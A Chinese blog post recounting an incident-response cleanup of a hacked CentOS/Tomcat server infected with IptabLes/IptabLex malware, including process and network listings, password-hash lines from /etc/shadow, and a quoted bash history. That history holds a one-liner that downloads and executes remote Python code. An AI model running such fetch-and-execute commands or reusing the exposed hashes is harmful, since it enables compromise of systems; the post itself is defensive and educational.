小記IptabLes和IptabLex病毒清理過程

 去年有臺Linux服務器被黑了,看了500萬行日誌(如今以爲當時好厲害呀),反正當時的日誌文件有700Mb以上大。前兩天師兄告訴我,信息中心的老師給他說咱們有臺服務器應該是被人入侵了,看成內網的跳板,常常對內網中的其餘服務器發出攻擊的數據。因而我連夜就去服務器上看了。php

  這是我第一次上這個服務器,什麼狀況都不知道,只知道這個服務器是Linux(尼瑪具體是什麼發行版都要我去查),上面跑着一個網站。html

  

  進去以後,先看看是什麼發行版的。CentOS6.5,之前都只玩的Ubuntu,換這個上面多多少少還有點陌生的。好了廢話很少說了。node

 

  再去看看什麼網頁吧。cd /var/下面,沒有看到是www或者htdocs之類的目錄,不會是tomcat吧。搜索了一下,果真是。網頁內容先不看了,應該是已經提權成功了的。直接就去看看服務器算了。python

  

  寫文章的時候才意識到,我一開始不該該亂看其餘的,應該先把.bash_history什麼的先備份下才對。算是給本身提一個醒吧。mysql

  看看passwd和shadow:linux

 [root@localhost /]# stat /etc/passwd
  File: "/etc/passwd"
  Size: 1723       Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d Inode: 919098      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-09-21 09:32:01.730288306 +0800
Modify: 2014-04-02 09:31:28.469644869 +0800
Change: 2014-04-02 09:31:28.503201786 +0800
[root@localhost /]# stat /etc/shadow
  File: "/etc/shadow"
  Size: 1177       Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d Inode: 919095      Links: 1
Access: (0000/----------)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-09-21 09:40:01.734126039 +0800
Modify: 2014-04-02 09:38:11.473125883 +0800
Change: 2014-04-02 09:38:11.498275087 +0800sql

看來是4月2號就入侵成功了呀。查看了下/home下的目錄,多了一個用戶。仍是看看passwd吧。shell

[root@localhost /]#cat /etc/shadow apache

mysql:!!:15791:::::: tomcat:!!:15791:::::: chu:$6$kG9zMTps$7H61NSjXMY3/Jc/tZrJtCuwFn1mhDyWXVg4blFghfLdbQNXr.6Li9tYt5fYVJsIlvwb0z68k/EQXsUljZK6.L0:15793:0:99999:7::: sqzr:$6$yBrvX/HDaim/vrK4$uArYMq6Zr2XM7BWTzexC16RI6HGmOp9cs65AgLR.v.yx3rN0M6YzblNCJytGsguFSbsGN18OPpcyrSG63fKKS.:16162:0:99999:7:::bootstrap

 

passwd就不寫出來了。在passwd中,sqzr這個用戶後面的和root同樣,也就是root權限了。userdel sqzr提示不能刪除,當前已經登陸,尼瑪,這個用戶就是給root取了個別名吧。直接修改兩個文件,刪除這一行。用戶就算是清理了。

 

看下進程:

21911 ?        00:00:00 .IptabLex

21917 ?        00:00:00 .IptabLes

29093 ?        00:00:02 prwpodebiq

 

這是什麼,第一眼還覺得是防火牆,但是多了一個,再一想,Linux下面要區分大小寫的,這東西不對勁。

百度了下,發現確實是個病毒,也有其餘人中招了。

http://www.xujiansheng.cn/2014/01/linux-viruses-iptablex-iptables/

還有那個prwpodebiq,徹底沒有意義的進程名,如此大的pid,確定有問題。

  

[root@localhost /]# find / -name prwpodebiq -print
/boot/prwpodebiq
/etc/rc.d/init.d/prwpodebiq

[root@localhost /]# cd /boot/
[root@localhost boot]# ll
總用量 19858
-rw-r--r--. 1 root root    97862 5月  20 2011 config-2.6.32-71.el6.x86_64
drwxr-xr-x. 3 root root     1024 3月  27 2013 efi
drwxr-xr-x. 2 root root     1024 3月  27 2013 grub
-rw-r--r--. 1 root root 13419499 3月  27 2013 initramfs-2.6.32-71.el6.x86_64.img
lrwxrwxrwx  1 root root       25 9月  16 22:31 IptabLes -> /etc/rc.d/init.d/IptabLes
lrwxrwxrwx  1 root root       25 9月  16 22:31 IptabLex -> /etc/rc.d/init.d/IptabLex
drwx------. 2 root root    12288 3月  27 2013 lost+found
-rwxr-x---  1 root root   613533 9月  21 21:29 prwpodebiq
-rw-r--r--. 1 root root   160542 5月  20 2011 symvers-2.6.32-71.el6.x86_64.gz
-rw-r--r--. 1 root root  2226490 5月  20 2011 System.map-2.6.32-71.el6.x86_64
-rwxr-xr-x. 1 root root  3791040 5月  20 2011 vmlinuz-2.6.32-71.el6.x86_64 

[root@localhost boot]# stat prwpodebiq
  File: "prwpodebiq"
  Size: 613533          Blocks: 1200       IO Block: 1024   普通文件
Device: 801h/2049d      Inode: 22          Links: 1
Access: (0750/-rwxr-x---)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-09-21 23:16:18.000000000 +0800
Modify: 2014-09-21 21:29:26.000000000 +0800
Change: 2014-09-21 21:29:26.000000000 +0800

 777的文件,定位到病毒了。

[root@localhost boot]# find / -name *IptabL* -print
/boot/.IptabLes
/boot/.IptabLex
/etc/rc.d/rc4.d/S55IptabLes
/etc/rc.d/rc4.d/S55IptabLex
/etc/rc.d/rc2.d/S55IptabLes
/etc/rc.d/rc2.d/S55IptabLex
/etc/rc.d/rc3.d/S55IptabLes
/etc/rc.d/rc3.d/S55IptabLex
/etc/rc.d/rc5.d/S55IptabLes
/etc/rc.d/rc5.d/S55IptabLex
/usr/.IptabLes
/usr/.IptabLex
[root@localhost boot]# rm -rf `find / -name *IptabL*`

 

 手動刪除了一部分,但東西太多了,直接用find刪除了。

此外用lsof看到了一些進程和/下的pid文件有關聯,因而直接刪除了。

# ll -a /   (只顯示可疑的文件)
-rw-r--r--   1 root  root      5 Jan 12 17:15 .mylisthb.pid
-rw-r--r--   1 root  root      5 Jan 12 10:01 .mylisthbS.pid
-rw-r--r--   1 root  root      5 Jan 12 10:01 .mylisthbSx.pid
-rw-r--r--   1 root  root      5 Jan 12 16:57 .mylisthbx.pid

 

 感受已經解決問題了,ps -A 看看還有沒有問題。。。因而。。

 3499 ?        00:00:00 sshd
 3505 ?        00:00:00 kdpiaqommj
 3506 pts/0    00:00:00 ps
29093 ?        00:00:10 prwpodebiq
29101 ?        00:00:00 flush-8:0
31327 ?        00:00:00 sshd
31378 pts/0    00:00:06 bash

又出來一個kdpiaqommj和prwpodebiq,這種沒有什麼意義的名字的進程。lsof之。發現又在/boot下,暈,kill後再rm一個。

再看一次進程,又出現了一個tieyhxjhkl。

[root@localhost bin]# lsof -p 5669
COMMAND    PID USER   FD   TYPE     DEVICE SIZE/OFF    NODE NAME
tieyhxjhk 5669 root  cwd    DIR      253,0     4096 1324611 /usr/local/tomcat/apache-tomcat-7.0.39/bin
tieyhxjhk 5669 root  rtd    DIR      253,0     4096       2 /
tieyhxjhk 5669 root  txt    REG        8,1   613533      18 /boot/tieyhxjhkl
tieyhxjhk 5669 root    0u   CHR        1,3      0t0    3569 /dev/null
tieyhxjhk 5669 root    1u   CHR        1,3      0t0    3569 /dev/null
tieyhxjhk 5669 root    2u   CHR        1,3      0t0    3569 /dev/null
tieyhxjhk 5669 root    3u  IPv4 1445967634      0t0     TCP 這裏是個人IP:59978->66.102.253.30:dvr-esm (SYN_SENT)

是反彈shell仍是什麼?

應該是還有文件被改了吧,去tomcat目錄中看看。

[root@localhost bin]# ll
總用量 1828
-rw-r--r-- 1 root root   28615 3月  22 2013 bootstrap.jar
-rw-r--r-- 1 root root     461 5月  18 00:54 c:\2.vbs
-rw-r--r-- 1 root root   13217 3月  22 2013 catalina.bat
-rwxr-xr-x 1 root root   19276 3月  22 2013 catalina.sh
-rw-r--r-- 1 root root    2121 3月  22 2013 catalina-tasks.xml
-rw-r--r-- 1 root root   24281 3月  22 2013 commons-daemon.jar
-rw-r--r-- 1 root root  202451 3月  22 2013 commons-daemon-native.tar.gz
-rw-r--r-- 1 root root    2131 3月  22 2013 configtest.bat
-rwxr-xr-x 1 root root    1982 3月  22 2013 configtest.sh
-rw-r--r-- 1 root root    1342 3月  22 2013 cpappend.bat
-rwxr-xr-x 1 root root   22987 5月  23 09:04 D32
-rwxr-xr-x 1 root root   27805 5月  23 09:04 D64
-rwxr-xr-x 1 root root    7492 3月  22 2013 daemon.sh
-rw-r--r-- 1 root root    2178 3月  22 2013 digest.bat
-rwxr-xr-x 1 root root    2021 3月  22 2013 digest.sh
-rw-r--r-- 1 root root 1103207 7月  11 02:49 getsetup.hb.1
-rw-r--r-- 1 root root       0 8月   5 16:19 Ŀ��������·�� ��������pwd����
-rw-r--r-- 1 root root    3264 3月  22 2013 setclasspath.bat
-rwxr-xr-x 1 root root    3524 3月  22 2013 setclasspath.sh
-rw-r--r-- 1 root root    2111 3月  22 2013 shutdown.bat
-rwxr-xr-x 1 root root    1960 3月  22 2013 shutdown.sh
-rw-r--r-- 1 root root    2112 3月  22 2013 startup.bat
-rwxr-xr-x 1 root root    1961 3月  22 2013 startup.sh
-rw-r--r-- 1 root root   38161 3月  22 2013 tomcat-juli.jar
-rw-r--r-- 1 root root  288166 3月  22 2013 tomcat-native.tar.gz
-rw-r--r-- 1 root root    4114 3月  22 2013 tool-wrapper.bat
-rwxr-xr-x 1 root root    5086 3月  22 2013 tool-wrapper.sh
-rw-r--r-- 1 root root    2116 3月  22 2013 version.bat
-rwxr-xr-x 1 root root    1965 3月  22 2013 version.sh

 紅字是tomcat中沒有的,刪除了。

而後kill。而後重啓服務器。

而後我就暈了,還有!!!!!!   此次lsof的cwd直接是/了。而根下沒有什麼東西了。

而後我發現,該進程是隨機產生名字,而後會生成兩個子進程,子進程也是隨機名字,而且只有2秒不到的存活期,kill不了。kill父進程,還會產生。同時會在/boot下生成本身的可執行文件。

經過netstat -anput 發現這個進程的功能應該是    TCP 這裏是個人IP:59978->66.102.253.30:dvr-esm (SYN_SENT)。

tcp        0      1 這裏是個人IP:41939       222.34.129.154:2804         SYN_SENT    1701/bash

這尼瑪好像就是反彈shell吧。

仍是看看.bash_history吧。

    973 find -name '*tomcat*'
    974 find -name 'index.jsp'
    975 ------------------------------
    976 find -name 'index.jsp'
    977 ls
    978 top
    979 ls
    980 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
    981 python2
    982 python
    983 ls
    984 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2
    985 wget www.baidu.com
    986 cat index.html
    987 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2
    988 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2 --no-check-certificate
    989 ls
    990 tar -jxvf Python-2.7.tar.bz2
    991 cd p
    992 cd Python-2.7/
    993 dir
    994 ./configure
    995 make
    996 make install
    997 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
    998 python -c "exec(__import__('urllib').urlopen('http://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
    999 pip
   1000 yum install python-zlib

2016 更新:

這個 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50 原來是掃描器。

tail –100 /var/log/secure

看看安全信息,有公網IP拼命的在嘗試root的密碼,並且走的是ssh進來的。固然關閉ssh相信應該是能夠的。我這由於目前公網上還須要用到ssh,因此只能在hosts.deny上進行阻止該公網IP進來。

 

  東北大學網絡中心有常見的ssh攻擊的IP地址,及一個sh腳本:

  網址:http://antivirus.neu.edu.cn/scan/ssh.php

阻止別人的ssh鏈接了,可是內部的 那個進程仍是一直有,一直髮着這個

TCP 這裏是個人IP:59978->66.102.253.30:dvr-esm (SYN_SENT)

他應該用的應該是Struts2的漏洞進入服務器裏的,可是留下的那個後門,我如今尚未辦法解決,

Struts2的漏洞能夠看這裏:

http://struts.apache.org/release/2.3.x/docs/s2-016.html

至此,先到這裏吧。最近仍是再看看吧。

相關文章
相關標籤/搜索